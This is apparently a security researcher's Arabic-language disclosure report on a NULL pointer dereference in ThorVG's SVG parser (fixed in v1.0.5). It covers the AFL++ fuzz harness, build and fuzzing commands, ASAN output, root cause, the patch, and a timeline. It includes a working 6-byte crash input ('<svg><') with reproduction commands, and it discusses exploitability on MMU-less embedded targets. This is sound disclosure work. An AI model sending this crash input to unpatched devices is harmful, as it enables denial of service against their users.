
إلغاء مرجعية مؤشر NULL في ThorVG عبر ملف SVG تالف — تقرير اختبار التضمين (fuzzing) باستخدام AFL++
الخطورة: CVSS 4.3 (متوسطة) — CWE-476
الإعلان الأمني: GHSA-f863-8ghq-7h64
الإصلاح في: ThorVG v1.0.5
الحالة: تم التصحيح / تم الإفصاح
محلّل SVG في ThorVG يلغي مرجعية مؤشر لا تتم تهيئته إطلاقًا عندما يواجه
وسم عنصر فرعي مبتورًا داخل العقدة الجذرية <svg>. يمكن الوصول إلى هذا الخطأ عبر
مسار العرض العادي (tvg::Picture::load → تحليل → عرض) ويمكن تشغيله
بمدخل من 6 بايتات.
أسوأ تأثير على لينكس القياسي هو انهيار العملية (DoS) — يمنع mmap_min_addr
تعيين صفحة NULL، لذا لا يمكن استغلال الخلل مباشرة لتنفيذ كود في تلك
البيئة. أما في الأهداف الخالية من MMU حيث يُستخدم ThorVG أيضًا (Tizen والبرمجيات الثابتة
المبنية على LVGL) فصورة قابلية الاستغلال مختلفة وتستحق نظرة أقرب.
ThorVG هو محرك رسوميات متجهية يعمل عبر المنصات ومكتوب بلغة C++17. وهو العارض الافتراضي لملفات SVG/Lottie في نظام Samsung Tizen OS، ومضمّن في LVGL (المستخدم على نطاق واسع في واجهات الأنظمة المضمّنة وإنترنت الأشياء)، ويُوزَّع كمكتبة مستقلة على منصات متعددة.
تعالج المكتبة مدخلات SVG/JSON غير موثوقة وغالبًا ما تكون معرّضة في سياقات دون فصل للصلاحيات. كانت أكواد التحليل في مكتبات الرسوميات تاريخيًا مصدرًا موثوقًا لأخطاء أمان الذاكرة — ThorVG قيد التطوير النشط، ولم تكن له في وقت هذا البحث أي تغطية تشويش موثقة في متتبعات الأخطاء العامة.
يلف حزام الاختبار واجهة التحميل في الذاكرة الخاصة بـ ThorVG بحيث يمكن لـ AFL++ قيادة المحلّل مباشرة دون إدخال/إخراج من القرص.
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
auto canvas = tvg::SwCanvas::gen();
uint32_t buf[64 * 64] = {};
canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
auto picture = tvg::Picture::gen();
// Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
== tvg::Result::Success) {
canvas->push(tvg::cast(picture));
canvas->draw();
canvas->sync();
}
tvg::Initializer::term(tvg::CanvasEngine::Sw);
return 0;
}
البناء مع ASAN وأدوات قياس التغطية:
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
-fcoverage-mapping -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
$(pkg-config --cflags --libs thorvg)
البدء من الصفر ببايتات عشوائية يعطي أداءً ضعيفًا مع المحلّلات الحساسة لصيغة الملفات. بذرت مجموعة البذور بعدة ملفات SVG مصغّرة صالحة بنيويًا تغطي:
<svg xmlns="..."/>)<rect>، <circle>، <path>)<g> متداخلة<use>قلّصت البذور المدركة للبنية الوقت اللازم للوصول إلى أول المسارات المثيرة للاهتمام من ساعات إلى أقل من 20 دقيقة في بيئتي.
AFL_AUTORESUME=1 afl-fuzz \
-i corpus/ \
-o findings/ \
-x svg.dict \
-m none \
-- ./fuzz_thorvg @@
-x svg.dict — قاموس رموز AFL++ يحتوي كلمات SVG المفتاحية للمساعدة على التحوّر باتجاه أسماء وسوم صالحة.
-m none — تتطلب ذاكرة ظل ASAN تعطيل حد الذاكرة الخاص بـ AFL++.
أنتج AFL++ انهيارًا بعد حوالي 3 ساعات من التشويش أحادي النواة. كان حجم أول مدخل مسبب للانهيار ~180 بايتًا. مخرجات ASAN:
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...
الخلل هو قراءة عبر مؤشر SvgNode* غير مهيّأ (NULL) داخل _parseStyle.
من المتوقع أن يُعيَّن هذا المؤشر بواسطة _createElement عند معالجة عنصر فرعي،
لكن اسم الوسم المبتور يتسبب في تخطي العنصر دون تعيين المؤشر،
وتُكمل _parseStyle إلغاء مرجعيته بغض النظر عن ذلك.
تم التصغير باستخدام afl-tmin، ثم التشذيب اليدوي:
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
بعد تشغيل afl-tmin أصبح المدخل 14 بايتًا. أظهر الفحص اليدوي لمسار التحليل أن أول
6 بايتات فقط استُهلكت قبل حدوث الخلل:
<svg><
يفتح <svg> العقدة الجذرية. يبدأ < وسم عنصر فرعي. يقرأ المحلّل اسم الوسم،
فيحصل على سلسلة فارغة (ينتهي المدخل فورًا بعد <)، ويتخطى إنشاء العنصر،
ثم يسقط التنفيذ إلى _parseStyle بينما ما يزال مؤشر العقدة NULL.
تحقّق من أن مشغّل الـ6 بايتات يعيد إنتاج الانهيار:
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
src/loaders/svg/tvgSvgParser.cpp
كود زائف مبسّط للتدفق المعرض للثغرة:
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName); // tagName == "" → returns nullptr
// No NULL check before passing into style parser
_parseStyle(node, attributes); // ← dereferences node->style at offset 0x18
يضيف الإصلاح في v1.0.5 عودة مبكرة في حلقة توزيع العناصر عندما يُرجع _createElement
القيمة nullptr، وذلك قبل أي محاولة لمعالجة السمات/الأنماط.
عادةً ما تكون قيمة /proc/sys/vm/mmap_min_addr مضبوطة على 65536 في التوزيعات الحديثة.
صفحة NULL غير معيّنة في الذاكرة، لذا تطلق وحدة المعالجة المركزية إشارة SIGSEGV تحوّلها النواة إلى
إشارة تُوجَّه إلى العملية — والنتيجة انهيار (DoS). لا توجد كتابة موجهة، ولا تحكم في عدّاد البرنامج
(PC)، وليست قابلة للاستغلال مباشرة لتنفيذ كود.
ThorVG مواطن من الدرجة الأولى في Tizen (نظام Samsung لإنترنت الأشياء والأجهزة القابلة للارتداء) ومدمج في LVGL، الذي يعمل على المتحكمات الدقيقة والأنظمة الخالية من MMU.
في الأنظمة الخالية من MMU لا توجد حماية للذاكرة ولا ينطبق mmap_min_addr.
إذا كانت صفحة NULL معيّنة في الذاكرة (وهو أمر شائع في بيئات الأنظمة المضمّنة العاملة مباشرة
على العتاد)، فإن إلغاء مرجعية مؤشر فارغ قد يشير إلى ذاكرة يتحكم بها المهاجم.
يعتمد ما إذا كان هذا قابلاً للوصول في هجوم حقيقي على سطح الهجوم — فقد يحلّل ThorVG على جهاز Tizen ملفات SVG من مصادر شبكة غير موثوقة أو من محتوى يقدمه المستخدم.
هذا السياق هو ما يبرر الإفصاح المسؤول حتى عن ثغرة بتصنيف CVSS متوسط.
يضيف التصحيح حارس NULL في حلقة توزيع عناصر SVG:
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs); // unconditional
// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue; // skip if element was not created
_parseStyle(node, attrs);
الفرق الكامل: إصدار ThorVG v1.0.5
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build
# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
-Ibuild/src/include -Lbuild/src -lthorvg
# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin
المخرجات المتوقعة: تقرير ASAN يتضمن SEGV on unknown address 0x000000000000 داخل
tvg::SvgParser::_parseStyle.
اكتُشفت الثغرة بواسطة yeahhbean (이예빈) عبر التشويش الموجَّه بالتغطية باستخدام AFL++ مع مجموعة بذور SVG مدركة للبنية.
| التاريخ | الحدث |
|---|
| 2026-xx-xx | تم اكتشاف الانهيار عبر AFL++ |
| 2026-xx-xx | تم تأكيد السبب الجذري باستخدام ASAN؛ وإنتاج POC من 6 بايتات |
| 2026-xx-xx | إرسال تقرير خاص إلى مطوّر ThorVG (hermet) عبر GitHub Security Advisory |
| 2026-xx-xx | أقرّ المطوّر باستلام التقرير وفتح فرعًا خاصًا |
| 2026-xx-xx | دُمج التصحيح في v1.0.5 |
| 2026-xx-xx | نُشر GHSA-f863-8ghq-7h64؛ وعُيّن CVE-2026-45729 |